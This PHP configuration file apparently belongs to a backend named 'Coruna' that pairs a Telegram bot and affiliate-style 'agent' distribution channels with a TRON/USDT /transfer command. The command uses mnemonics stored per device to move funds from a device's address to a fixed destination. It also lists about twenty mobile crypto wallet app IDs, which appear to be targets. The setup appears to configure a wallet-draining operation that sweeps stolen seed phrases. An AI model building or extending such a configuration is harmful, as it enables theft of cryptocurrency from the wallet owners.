<?php

return [
    'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
    // Comma-separated delivery hosts for support links + new_project domains.
    'channel_domains' => array_values(array_filter(array_map(
        'trim',
        explode(',', (string) env('CORUNA_CHANNEL_DOMAINS', ''))
    ))),
    'channels' => [
        // Max channel links per agent user (0 = official is unlimited). Overridable via settings.
        'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
    ],

    // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
    // system paths with is_executable() under open_basedir (see CorunaArchive).
    'seven_zip' => env('CORUNA_7Z_BIN', ''),
    // Channel pack builder (outside server/ — do not is_file() under tight open_basedir).
    'new_project_py' => env('CORUNA_NEW_PROJECT_PY', ''),
    'python_bin' => env('CORUNA_PYTHON_BIN', 'python3'),
    'telegram' => [
        'bot_token' => env('TELEGRAM_BOT_TOKEN'),
        'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
        'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
    ],
    'tokenview' => [
        'api_key' => env('TOKENVIEW_API_KEY', ''),
        'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
        'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
    ],
    'tron' => [
        'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
        'api_key' => env('TRON_API_KEY', ''),
        'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
        'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
    ],
    // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
    // Mnemonics resolved from wallet_mnemonics by address→device_id+source.
    'transfer' => [
        'to_address' => env('TRANSFER_TO_ADDRESS', ''),
        'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
        'max_trx' => env('TRANSFER_MAX_TRX', '0'),
        // BIP44 account index scan upper bound when matching fromAddress.
        'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
        // Leave this much TRX when transferring "all" native (bandwidth/energy fees).
        'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
    ],
    // reserved legacy payout addresses
    'payout' => [
        'eth' => env('PAYOUT_ETH'),
        'btc' => env('PAYOUT_BTC'),
        'tron' => env('PAYOUT_TRON'),
        'sol' => env('PAYOUT_SOL'),
    ],

    'wallet_bundles' => [
        'im.token.app',
        'io.metamask',
        'com.wallet.crypto.trustapp',
        'com.okex.wallet',
        'com.coinbase.wallet',
        'com.exodus',
        'app.phantom',
        'com.uniswap.mobile',
        'com.tronlinkpro.wallet',
        'com.mytonwallet.app',
        'com.tonhub.app',
        'com.tonkeeper.app',
        'vip.mytokenpocket',
        'com.bitkeep.wallet',
        'com.bitpie',
        'com.coin98',
        'com.solflare.mobile',
        'com.roninchain.wallet',
        'com.krystal.wallet',
    ],
];